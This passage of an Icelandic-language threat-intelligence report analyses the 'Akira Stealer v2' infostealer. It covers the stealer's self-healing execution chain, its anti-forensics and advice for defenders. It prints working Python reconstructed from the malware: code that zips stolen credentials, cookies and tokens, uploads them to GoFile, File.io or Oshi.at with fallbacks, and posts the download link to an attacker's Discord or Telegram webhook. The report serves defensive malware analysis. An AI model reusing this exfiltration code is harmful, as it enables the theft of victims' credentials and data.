staging-möppuna er hverri skrá haldið í sinni hlutfallslegu uppbyggingu inni í ZIP-inu. Þetta snið einfaldar árásaraðilum að sækja og skoða í magni, sérstaklega ef hundruð fórnarlamba eru kompromíseruð samhliða.",[615,10060,10062],{"className":4516,"code":10061,"language":4518,"meta":529,"style":529},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[578,10063,10064,10069,10073,10078,10083,10088,10093,10098,10103,10108,10113,10118,10123],{"__ignoreMap":529},[1712,10065,10066],{"class":1714,"line":1715},[1712,10067,10068],{},"import zipfile, datetime\n",[1712,10070,10071],{"class":1714,"line":530},[1712,10072,3878],{"emptyLinePlaceholder":325},[1712,10074,10075],{"class":1714,"line":2096},[1712,10076,10077],{},"def create_archive(root_dir: str) -> str:\n",[1712,10079,10080],{"class":1714,"line":2102},[1712,10081,10082],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1712,10084,10085],{"class":1714,"line":2424},[1712,10086,10087],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1712,10089,10090],{"class":1714,"line":2430},[1712,10091,10092],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1712,10094,10095],{"class":1714,"line":3086},[1712,10096,10097],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1712,10099,10100],{"class":1714,"line":3881},[1712,10101,10102],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1712,10104,10105],{"class":1714,"line":3887},[1712,10106,10107],{},"            for fname in files:\n",[1712,10109,10110],{"class":1714,"line":4132},[1712,10111,10112],{},"                full = os.path.join(dirpath, fname)\n",[1712,10114,10115],{"class":1714,"line":5049},[1712,10116,10117],{},"                rel = os.path.relpath(full, root_dir)\n",[1712,10119,10120],{"class":1714,"line":5055},[1712,10121,10122],{},"                zf.write(full, rel)\n",[1712,10124,10125],{"class":1714,"line":5061},[1712,10126,10127],{},"    return zip_path\n",[630,10129,10130],{},[633,10131,10132,10133,10136],{},"Safnskráin nefnd ",[578,10134,10135],{},"DESKTOP1234_20250505T123456Z.zip"," til samræmis við hostinn.",[525,10138,10139],{},[567,10140,10141],{},"Nafnavenja ZIP-skráarheita",[525,10143,10144],{},"Safnskráin er nefnd eftir tölvuheiti kompromíseraða hostsins og svo UTC-tímastimpli á ISO-sniði, sem tryggir einkvæmni og tímaröð.",[615,10146,10148],{"className":4516,"code":10147,"language":4518,"meta":529,"style":529},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[578,10149,10150,10155,10159,10163,10168,10172,10177,10181,10185],{"__ignoreMap":529},[1712,10151,10152],{"class":1714,"line":1715},[1712,10153,10154],{},"import datetime, os\n",[1712,10156,10157],{"class":1714,"line":530},[1712,10158,3878],{"emptyLinePlaceholder":325},[1712,10160,10161],{"class":1714,"line":2096},[1712,10162,10077],{},[1712,10164,10165],{"class":1714,"line":2102},[1712,10166,10167],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1712,10169,10170],{"class":1714,"line":2424},[1712,10171,10082],{},[1712,10173,10174],{"class":1714,"line":2430},[1712,10175,10176],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1712,10178,10179],{"class":1714,"line":3086},[1712,10180,10087],{},[1712,10182,10183],{"class":1714,"line":3881},[1712,10184,10092],{},[1712,10186,10187],{"class":1714,"line":3887},[1712,10188,10127],{},[525,10190,10144],{},[888,10192,10194],{"id":10193},"_7144-verkflæði-upphals","7.14.4 Verkflæði upphals",[525,10196,894],{},[525,10198,10199],{},"Akira notar þrískipta upphalsstefnu til að hámarka líkurnar á að exfiltration gangi upp. Það reynir fyrst að hlaða safnskránni upp á GoFile.io með opinbera API þeirra, sem skilar niðurhalshlekk. Sé GoFile óaðgengilegt eða blokkað fellur það yfir á File.io og svo Oshi.at, sem tryggir að gögnin komist alltaf áfram. Þessar þjónustur bjóða nafnlausa og skammlífa hýsingu, sem gerir niðurtekt og rekjanleika erfiða. Scriptið fangar endanlega niðurhals-URL-ið og undirbýr það til afhendingar með webhook.",[2110,10201,10202,10234,10260],{},[633,10203,10204,10207],{},[567,10205,10206],{},"Aðalleið: GoFile.io",[630,10208,10209,10217,10225],{},[633,10210,10211,998,10214],{},[567,10212,10213],{},"API til að finna servera",[578,10215,10216],{},"GET https://api.gofile.io/servers",[633,10218,10219,998,10222],{},[567,10220,10221],{},"Upphalsendapunktur",[578,10223,10224],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[633,10226,10227,998,10230,10233],{},[567,10228,10229],{},"Svarsvæði",[578,10231,10232],{},"data.downloadPage"," inniheldur endanlegt URL.",[633,10235,10236,10239],{},[567,10237,10238],{},"Varaleið 1: File.io",[630,10240,10241,10251],{},[633,10242,10243,998,10245,1282,10248],{},[567,10244,10221],{},[578,10246,10247],{},"POST https://file.io/",[578,10249,10250],{},"files={'file': open(...)}",[633,10252,10253,10256,10257,613],{},[567,10254,10255],{},"Svar",": JSON-svæðið ",[578,10258,10259],{},"link",[633,10261,10262,10265],{},[567,10263,10264],{},"Varaleið 2: Oshi.at",[630,10266,10267,10281],{},[633,10268,10269,998,10271,1282,10274,10277,10278,613],{},[567,10270,10221],{},[578,10272,10273],{},"POST http://oshi.at/",[578,10275,10276],{},"files[]"," og breytunum ",[578,10279,10280],{},"expire=43200, autodestroy=0",[633,10282,10283,10285,10286,613],{},[567,10284,10255],{},": plaintext sem inniheldur ",[578,10287,10288],{},"DL: \u003Curl>",[525,10290,10291],{},[567,10292,10293],{},"Kóðabrot úr útfærslunni:",[615,10295,10297],{"className":4516,"code":10296,"language":4518,"meta":529,"style":529},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[578,10298,10299,10304,10308,10313,10318,10322,10327,10332,10337,10342,10347,10352,10357,10362,10367,10372,10377,10381,10386,10391,10395,10400,10404,10409,10414,10418],{"__ignoreMap":529},[1712,10300,10301],{"class":1714,"line":1715},[1712,10302,10303],{},"import requests\n",[1712,10305,10306],{"class":1714,"line":530},[1712,10307,3878],{"emptyLinePlaceholder":325},[1712,10309,10310],{"class":1714,"line":2096},[1712,10311,10312],{},"def upload_with_fallback(zip_path):\n",[1712,10314,10315],{"class":1714,"line":2102},[1712,10316,10317],{},"    # GoFile\n",[1712,10319,10320],{"class":1714,"line":2424},[1712,10321,5164],{},[1712,10323,10324],{"class":1714,"line":2430},[1712,10325,10326],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1712,10328,10329],{"class":1714,"line":3086},[1712,10330,10331],{},"        for srv in servers:\n",[1712,10333,10334],{"class":1714,"line":3881},[1712,10335,10336],{},"            try:\n",[1712,10338,10339],{"class":1714,"line":3887},[1712,10340,10341],{},"                r = requests.post(\n",[1712,10343,10344],{"class":1714,"line":4132},[1712,10345,10346],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1712,10348,10349],{"class":1714,"line":5049},[1712,10350,10351],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1712,10353,10354],{"class":1714,"line":5055},[1712,10355,10356],{},"                url = r.json()['data']['downloadPage']\n",[1712,10358,10359],{"class":1714,"line":5061},[1712,10360,10361],{},"                if url: return url\n",[1712,10363,10364],{"class":1714,"line":5067},[1712,10365,10366],{},"            except: continue\n",[1712,10368,10369],{"class":1714,"line":5073},[1712,10370,10371],{},"    except: pass\n",[1712,10373,10374],{"class":1714,"line":5079},[1712,10375,10376],{},"    # File.io\n",[1712,10378,10379],{"class":1714,"line":5085},[1712,10380,5164],{},[1712,10382,10383],{"class":1714,"line":5091},[1712,10384,10385],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1712,10387,10388],{"class":1714,"line":5097},[1712,10389,10390],{},"        return r.json().get('link','')\n",[1712,10392,10393],{"class":1714,"line":5103},[1712,10394,10371],{},[1712,10396,10397],{"class":1714,"line":5109},[1712,10398,10399],{},"    # Oshi.at\n",[1712,10401,10402],{"class":1714,"line":5115},[1712,10403,5164],{},[1712,10405,10406],{"class":1714,"line":5121},[1712,10407,10408],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1712,10410,10411],{"class":1714,"line":5127},[1712,10412,10413],{},"        return text.split('DL: ')[1].strip()\n",[1712,10415,10416],{"class":1714,"line":5133},[1712,10417,10371],{},[1712,10419,10420],{"class":1714,"line":5800},[1712,10421,10422],{},"    return ''\n",[888,10424,10426],{"id":10425},"_7155-webhook-viðvaranir-sókn-árásaraðilans-og-takmörk-á-sýnileika-greinandans","7.15.5 Webhook-viðvaranir, sókn árásaraðilans og takmörk á sýnileika greinandans",[525,10428,894],{},[525,10430,10431],{},"Eftir að ZIP-safnskránni hefur verið hlaðið upp sendir Akira webhook-tilkynningu, yfirleitt á Discord eða Telegram, með skipulögðu embedi sem inniheldur ítarlegar upplýsingar: fjölda stolinna tokens, fjölda cookies, skráarstærð og niðurhalshlekk sem má klikka á. Það gefur árásaraðilum tafarlausa svörun og aðgang til að sækja gögnin. Til að tryggja áreiðanleika er einnig sent varaskeyti í plaintext sem inniheldur aðeins hlekkinn á safnskrána. Þessi afritun tryggir afhendingu, jafnvel þótt embedið sé blokkað eða síað af pallinum. Frá sjónarhóli þeirra sem verjast eru þessi samskipti oft ósýnileg nema vöktun á útgangandi netumferð sé til staðar.",[525,10433,10434],{},[567,10435,10436],{},"Embed-tilkynning",[615,10438,10440],{"className":4516,"code":10439,"language":4518,"meta":529,"style":529},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[578,10441,10442,10447,10452,10457,10462,10467,10472,10477,10482,10486,10491,10496,10501,10505],{"__ignoreMap":529},[1712,10443,10444],{"class":1714,"line":1715},[1712,10445,10446],{},"# Build embed with key metadata\n",[1712,10448,10449],{"class":1714,"line":530},[1712,10450,10451],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1712,10453,10454],{"class":1714,"line":2096},[1712,10455,10456],{},"fields = [\n",[1712,10458,10459],{"class":1714,"line":2102},[1712,10460,10461],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1712,10463,10464],{"class":1714,"line":2424},[1712,10465,10466],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1712,10468,10469],{"class":1714,"line":2430},[1712,10470,10471],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1712,10473,10474],{"class":1714,"line":3086},[1712,10475,10476],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1712,10478,10479],{"class":1714,"line":3881},[1712,10480,10481],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1712,10483,10484],{"class":1714,"line":3887},[1712,10485,7938],{},[1712,10487,10488],{"class":1714,"line":4132},[1712,10489,10490],{},"payload = {\n",[1712,10492,10493],{"class":1714,"line":5049},[1712,10494,10495],{},"    'username':'Akira 💊',\n",[1712,10497,10498],{"class":1714,"line":5055},[1712,10499,10500],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1712,10502,10503],{"class":1714,"line":5061},[1712,10504,2433],{},[1712,10506,10507],{"class":1714,"line":5067},[1712,10508,10509],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[630,10511,10512,10518],{},[633,10513,10514,10517],{},[567,10515,10516],{},"Afhending",": sent á Discord- eða Telegram-rás árásaraðilans.",[633,10519,10520,10523,10524,10527],{},[567,10521,10522],{},"Embed-hlekkur",": inniheldur ",[578,10525,10526],{},"download_url"," sem má klikka á og vísar á ZIP-ið á GoFile (eða varahýsingu).",[525,10529,10530],{},[567,10531,10532],{},"Varaleið með hráum hlekk",[615,10534,10536],{"className":4516,"code":10535,"language":4518,"meta":529,"style":529},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[578,10537,10538,10543,10548],{"__ignoreMap":529},[1712,10539,10540],{"class":1714,"line":1715},[1712,10541,10542],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1712,10544,10545],{"class":1714,"line":530},[1712,10546,10547],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1712,10549,10550],{"class":1714,"line":2096},[1712,10551,10552],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[630,10554,10555],{},[633,10556,10557,10560],{},[567,10558,10559],{},"Plaintext",": tryggir afhendingu hlekksins ef embed eru blokkuð eða hljóðlega felld niður.",[525,10562,10563],{},[567,10564,10565],{},"Hvernig árásaraðilinn sækir hlekkinn",[525,10567,10568,10571],{},[567,10569,10570],{},"1. Webhook-innviðir","\nÁrásaraðilinn byggir webhook-endapunktinn inn í uppsetningu malware-sins:",[615,10573,10575],{"className":4516,"code":10574,"language":4518,"meta":529,"style":529},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[578,10576,10577,10582],{"__ignoreMap":529},[1712,10578,10579],{"class":1714,"line":1715},[1712,10580,10581],{},"# at class initialization\n",[1712,10583,10584],{"class":1714,"line":530},[1712,10585,10586],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[630,10588,10589,10596],{},[633,10590,10591,998,10593],{},[567,10592,1343],{},[578,10594,10595],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[633,10597,10598,998,10601],{},[567,10599,10600],{},"Telegram",[578,10602,10603],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[525,10605,10606,10609],{},[567,10607,10608],{},"2. Afhending í rauntíma","\nStrax eftir að upphal skráar gengur upp keyrir malware-ið:",[615,10611,10613],{"className":4516,"code":10612,"language":4518,"meta":529,"style":529},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[578,10614,10615,10619,10624,10629,10634,10639,10644,10649,10654,10658,10663],{"__ignoreMap":529},[1712,10616,10617],{"class":1714,"line":1715},[1712,10618,10490],{},[1712,10620,10621],{"class":1714,"line":530},[1712,10622,10623],{},"  'username': 'Akira 💊',\n",[1712,10625,10626],{"class":1714,"line":2096},[1712,10627,10628],{},"  'embeds': [{\n",[1712,10630,10631],{"class":1714,"line":2102},[1712,10632,10633],{},"      'title': '🗄️ Exfiltration Complete',\n",[1712,10635,10636],{"class":1714,"line":2424},[1712,10637,10638],{},"      'fields': [\n",[1712,10640,10641],{"class":1714,"line":2430},[1712,10642,10643],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1712,10645,10646],{"class":1714,"line":3086},[1712,10647,10648],{},"      ]\n",[1712,10650,10651],{"class":1714,"line":3881},[1712,10652,10653],{},"  }]\n",[1712,10655,10656],{"class":1714,"line":3887},[1712,10657,2433],{},[1712,10659,10660],{"class":1714,"line":4132},[1712,10661,10662],{},"# Transmit the archive URL entirely in the JSON body\n",[1712,10664,10665],{"class":1714,"line":5049},[1712,10666,10667],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[630,10669,10670,10679],{},[633,10671,10672,10674,10675,10678],{},[578,10673,10526],{},"-breytan er felld inn í ",[578,10676,10677],{},"fields.value"," embedsins.",[633,10680,10681,10682,6612,10684,10687],{},"Í Telegram-varaleiðinni birtist ",[578,10683,10526],{},[578,10685,10686],{},"message","-breytunni í plaintext.",[525,10689,10690],{},[567,10691,10692],{},"3. Takmarkanir á sýnileika EDR og forensic",[630,10694,10695,10704],{},[633,10696,10697,10700,10701,10703],{},[567,10698,10699],{},"Engin staðbundin loggun",": malware-ið skrifar ",[578,10702,10526],{}," hvorki á disk né í kerfisogga.",[633,10705,10706,10709],{},[567,10707,10708],{},"Blindir punktar EDR",": tól eins og Microsoft Defender for Endpoint gætu merkt HTTP-beiðnina en geta ekki dregið út innbyggða URL-ið.",[525,10711,10712],{},[567,10713,10714],{},"4. Hvers vegna greinandinn getur ekki endurheimt þetta staðbundið:",[630,10716,10717,10728,10748],{},[633,10718,10719,10700,10722,10724,10725,10727],{},[567,10720,10721],{},"Ekkert staðbundið afrit af hlekknum",[578,10723,10526],{}," aðeins í minni og sendir það yfir netið, það vistar þetta URL ",[4653,10726,1606],{}," á disk eða í logga.",[633,10729,10730,10733,10734,10736,10741,10742,10744,10745,613],{},[567,10731,10732],{},"Skammlíf staging-tiltekt",": strax eftir upphal keyrir kóðinn:",[724,10735],{},[1712,10737,10740],{"className":10738},[10739],"text-monospace","shutil.rmtree(ROOT)",",",[724,10743],{},"\nsem þurrkar alla staged artifacts (þar á meðal allar skammlífar textaskrár) út úr ",[578,10746,10747],{},"%TEMP%",[633,10749,10750,10753,10754,10757],{},[567,10751,10752],{},"Sending eingöngu yfir net",": webhook-köll (",[578,10755,10756],{},"requests.post",") fara fram í minni, engir HTTP-loggar eða færslur í vafraferli verða til á vél fórnarlambsins.",[847,10759,10760],{},[525,10761,10762,10765,10766,10768,10769,10771],{},[567,10763,10764],{},"Hvað þetta þýðir fyrir greinendur:","\nÁn lifandi pakkasöfnunar (t.d. network TAP eða proxy) á keyrslutíma er nákvæmt ",[578,10767,10526],{}," óendurheimtanlegt eftir sýkinguna.\nAuk þess er exfiltreruðu safnskránni eytt sjálfkrafa af hýsingarþjónustunni, sem minnkar glugga fyrir forensic-sókn enn frekar.\nDiskmyndir eða hostbyggð forensic-endurheimt eftir sýkinguna munu ",[4653,10770,1606],{}," afhjúpa URL árásaraðilans eða credentials skráahýsingarinnar, því engir artifacts verða eftir staðbundið.",[853,10773],{"className":10774},[856,857],[740,10776,10778],{"id":10777},"_713-niðurstaða","7.13 Niðurstaða",[525,10780,746],{},[525,10782,10783,10785],{},[578,10784,609],{}," (Akira Stealer v2) er heildstætt stealer-verkfærasett sem dreift er í viðskiptaskyni. Það sameinar breið skotmörk, fágaða vörn gegn greiningu, dýnamíska stýringu innviða og gagnaþjófnað á öllum lögum, þvert á credentials, kryptó, kerfisgreiningu og skrár notandans. Einingaskipting þess og ósýnileiki, ásamt hröðum endursýkingaraðferðum, gera það að einum tæknilega háþróaðasta stealer sem sést hefur í virkri dreifingu.",[556,10787,10789],{"id":10788},"_8-hringlaga-keyrslukeðja-sjálfslæknandi-lykkja","8. Hringlaga keyrslukeðja: sjálfslæknandi lykkja",[525,10791,562],{},[525,10793,10794,10795,10798],{},"Einn tæknilega fágaðasti þátturinn í þessari herferð er endurmyndandi og hringlaga keyrslumódel hennar. Ólíkt hefðbundnu malware með línuleg þrep sem ganga frá dropper til payloads og hverfa svo var þessi aðgerð hönnuð eins og ",[567,10796,10797],{},"lokuð lykkja",", þar sem hver hluti vaktar aðra.",[525,10800,10801,10802,10805],{},"Þessi ",[567,10803,10804],{},"sjálfslæknandi arkitektúr"," gerði sýkingarkeðjuna ekki aðeins þrálátt heldur einnig sjálfstæða. Hún gat jafnað sig að fullu eftir að hluti hennar var fjarlægður. Svo lengi sem eitt brot var enn á lífi gat allt malware-vistkerfið byggt sig upp á nýjan leik.",[740,10807,10809],{"id":10808},"_81-hegðunin-brotin-niður","8.1 Hegðunin brotin niður",[525,10811,746],{},[2110,10813,10814,10840,10853,10884,10902],{},[633,10815,10816,10821,10823,10824,10827,10828,10830,10831,10833,10834,10836,10837,10839],{},[567,10817,10818,10819,1138],{},"Festa fyrir persistence (",[578,10820,601],{},[578,10822,601],{}," er grunnfótfestan. Það er yfirleitt skrifað niður á startup-stað notanda í Windows, svo sem ",[578,10825,10826],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", eða skráð í gegnum ",[578,10829,1684],{},". Verk þess er einfalt en afgerandi: að tryggja að ",[578,10832,605],{}," sé til staðar og ræsa það hljóðlega við innskráningu notanda. Ef ",[578,10835,605],{}," vantar dregur það safnskrána ",[578,10838,1854],{}," út aftur (sem liggur í tímabundinni möppu eða er skrifuð niður upp á nýtt) og endurmyndar alla Electron-forritsuppbygginguna.",[633,10841,10842,10847,10849,10850,10852],{},[567,10843,10844,10845,1138],{},"Brúarloader (",[578,10846,605],{},[578,10848,605],{}," er Node.js-forritið pakkað í Electron. Það birtir ekkert GUI og starfar alfarið í bakgrunni. Við keyrslu keyrir það innbyggðu JavaScript-rökvísina inni í ",[578,10851,1072],{}," og notar Node.js sem runtime-umhverfi. Þetta abstraktionslag skilur kjarnarökvísina frá PE-stubbnum og hjálpar til við að komast hjá hefðbundinni greiningu.",[633,10854,10855,10860,10861,10863,10864],{},[567,10856,10857,10858,1138],{},"Keyrslustjórnandi (",[578,10859,2836],{},"\nÞetta er innbyggt í ",[578,10862,1072],{}," og er hinn raunverulegi stjórnandi sýkingarkeðjunnar. Meðal helstu hlutverka þess eru:",[630,10865,10866,10872,10875],{},[633,10867,10868,10869,10871],{},"Að athuga hvort ",[578,10870,601],{}," sé til staðar og dreifa því aftur ef það vantar",[633,10873,10874],{},"Að skjóta inn uppsetningu á keyrslutíma með dýnamískum hætti: webhook-URL, C2-heimilisföng, tokens",[633,10876,10877,10878,10880,10881,10883],{},"Að kalla annaðhvort á Python-payloadinn sem þegar er til staðar (",[578,10879,609],{},") eða sækja hann sem hluta af ZIP-búnti (t.d. ",[578,10882,2900],{},") frá innviðum sem árásaraðilinn stýrir",[633,10885,10886,10891,10892,10894,10895,10897,10898,10901],{},[567,10887,10888,10889,1138],{},"Keyrsla payloads (",[578,10890,609],{},"\nÞegar kveikt er á því keyrir ",[578,10893,609],{}," í minni í gegnum ",[578,10896,580],{},". Það safnar með aðferð vistuðum credentials, cookies, Discord-tokens, setugögnum browsers og extensions fyrir kryptóveski. Gögnin eru staged í ZIP-safnskrá og exfiltreruð yfir HTTPS, yfirleitt á Discord-webhooks, en einnig hafa varaleiðir eins og ",[578,10899,10900],{},"gofile.io"," eða sérsniðnir C2-endapunktar sést.",[633,10903,10904,10907,10908,10910,10911,10913,10914,10916,10917,10919,10920,10922],{},[567,10905,10906],{},"Heilleiki lykkjunnar og sjálfslækning","\nHönnunin er hringlaga. Ef ",[578,10909,601],{}," er eytt verður því dreift aftur. Ef ",[578,10912,605],{}," vantar dregur ",[578,10915,601],{}," það út aftur úr ",[578,10918,1854],{},". Ef ",[578,10921,609],{}," er eytt sækir JavaScript-lagið það aftur. Þessi gagnkvæma háðni gerir malware-ið þolið og gefur því getu til að endurgera keyrslukeðju sína úr nánast hverju broti sem eftir lifir.",[525,10924,10925,10926,10929],{},"Þessi arkitektúr er ekki aðeins einingaskiptur, hann er ",[567,10927,10928],{},"sjálfbær",", hannaður af ásettu ráði til að vera ósýnilegur, sveigjanlegur og lífseigur í markumhverfum.",[740,10931,10933],{"id":10932},"_82-hvers-vegna-þetta-er-eftirtektarvert","8.2 Hvers vegna þetta er eftirtektarvert",[525,10935,746],{},[525,10937,10938,10939,613],{},"Arkitektúrhönnun herferðarinnar endurspeglar fágun sem sjaldan sést í fjöldaframleiddum infostealers. Hún gengur lengra en einfaldir fjölþrepa loaders, þetta er malware hannað fyrir ",[567,10940,10941],{},"rekstrarþol, ósýnileika og sjálfvirkni",[525,10943,10944],{},[567,10945,10946],{},"Helstu einkenni",[630,10948,10949,10955,10993,11013],{},[633,10950,10951,10954],{},[567,10952,10953],{},"Fullt sjálfstæði","\nÞegar því hefur verið dreift þarf malware-ið enga þátttöku notanda og enga utanaðkomandi endurvirkjun. Það hegðar sér eins og illgjörn microservice og stjórnar sínu eigin persistence, keyrslu payloads og viðgerðarrútínum án utanaðkomandi stýringar.",[633,10956,10957,10960,10961],{},[567,10958,10959],{},"Keyrslustakkur í mörgum forritunarmálum","\nVerkfærakeðjan samþættir:",[630,10962,10963,10973,10979,10985],{},[633,10964,10965,10968,10969,646,10971,1138],{},[567,10966,10967],{},"PE-binaries"," (",[578,10970,601],{},[578,10972,605],{},[633,10974,10975,10978],{},[567,10976,10977],{},"Node.js / JavaScript"," (í gegnum Electron)",[633,10980,10981,10984],{},[567,10982,10983],{},"PowerShell"," (notað fyrir obfuskerað relay payloads)",[633,10986,10987,10968,10990,10992],{},[567,10988,10989],{},"Python",[578,10991,609],{},", keyrt sem stealer sem býr í minni)\nÞessi lagskipta samsetning gerir erfiðara að taka fingrafar af því, greina það og skoða með hefðbundnum statískum tólum.",[633,10994,10995,10998,10999],{},[567,10996,10997],{},"Vörn gegn greiningu frá grunni","\nHver hluti er kóðaður, dulkóðaður eða innskotinn dýnamískt:",[630,11000,11001,11004,11007,11010],{},[633,11002,11003],{},"Base64-PowerShell-relay",[633,11005,11006],{},"AES-dulkóðaður og GZIP-þjappaður Python-kjarni",[633,11008,11009],{},"Obfuskerað JavaScript með innspýtingu tokens á keyrslutíma",[633,11011,11012],{},"Sjálfslæknandi hegðun sem torveldar að fjarlægja hluta",[633,11014,11015,11018,11019,10919,11022,11024,11025,11027],{},[567,11016,11017],{},"Enginn einn bilunarpunktur","\nSjálfsviðgerðarrökvísi malware-sins tryggir að ",[567,11020,11021],{},"það nægir ekki að fjarlægja einn hluta",[578,11023,601],{}," er fjarlægt endurgerir infostealerinn það. Ef ",[578,11026,609],{}," er eytt sækir JavaScript-stjórnandinn það aftur og dreifir því á nýjan leik.",[525,11029,11030,11031,11034],{},"Í stuttu máli hegðar malware-ið sér frekar eins og ",[567,11032,11033],{},"dreift kerfi"," en dæmigerður payload, kerfi sem setur lífseigju, einingaskiptingu og ósýnileika í fyrsta sæti.",[525,11036,11037,11038,11041],{},"Það lyftir ógninni frá tilviljanakenndri árás upp í ",[567,11039,11040],{},"þolinn og aðlögunarhæfan pall",", sem kallar á að þeir sem verjast mæti flækjustigi hans með jafn lagskiptum aðferðum við detection og viðbrögð.",[740,11043,11045],{"id":11044},"_83-hvað-þetta-þýðir-fyrir-blue-teams","8.3 Hvað þetta þýðir fyrir blue teams",[525,11047,746],{},[525,11049,11050],{},"Fyrir þá sem verjast og fyrir CSOC-stjórnendur hækkar þessi tegund arkitektúrs þröskuldinn:",[630,11052,11053,11059,11074],{},[633,11054,11055,11058],{},[567,11056,11057],{},"Það gagnast ekki að taka til að hluta",". Alla hnúta þarf að greina og fjarlægja samtímis.",[633,11060,11061,11064,11065,11067,11068,11067,11070,11067,11072,613],{},[567,11062,11063],{},"Samtenging í Defender for Endpoint"," er ómissandi. Greinendur verða að rekja heilar keðjur: frá ",[578,11066,601],{}," → ",[578,11069,1127],{},[578,11071,1224],{},[578,11073,580],{},[633,11075,11076,11079],{},[567,11077,11078],{},"Persistence án IOC"," þýðir að heuristík byggð á minni, grunnlínur í telemetríu og detection byggð á keðjum eru lykillinn.",[525,11081,11082,11083,11086],{},"Þetta er ekki bara stealer. Þetta er ",[567,11084,11085],{},"þolinn malware-pallur"," sem hegðar sér frekar eins og dreift kerfi en einföld ógn. Og það er nákvæmlega það sem gerir hann bæði áhrifamikinn og hættulegan.",[556,11088,11090],{"id":11089},"_9-rakning-og-greining-á-blockchain","9. Rakning og greining á blockchain",[525,11092,562],{},[740,11094,11096],{"id":11095},"_91-að-rekja-dreifingu-fjármuna-í-malware-herferð-byggðri-á-litecoin","9.1 Að rekja dreifingu fjármuna í malware-herferð byggðri á Litecoin",[525,11098,746],{},[525,11100,11101,11102,11105],{},"Á reverse engineering-stigi þessarar malware-herferðar drógum við út mörg harðkóðuð veskjaheimilisföng sem stealerinn notaði til exfiltration 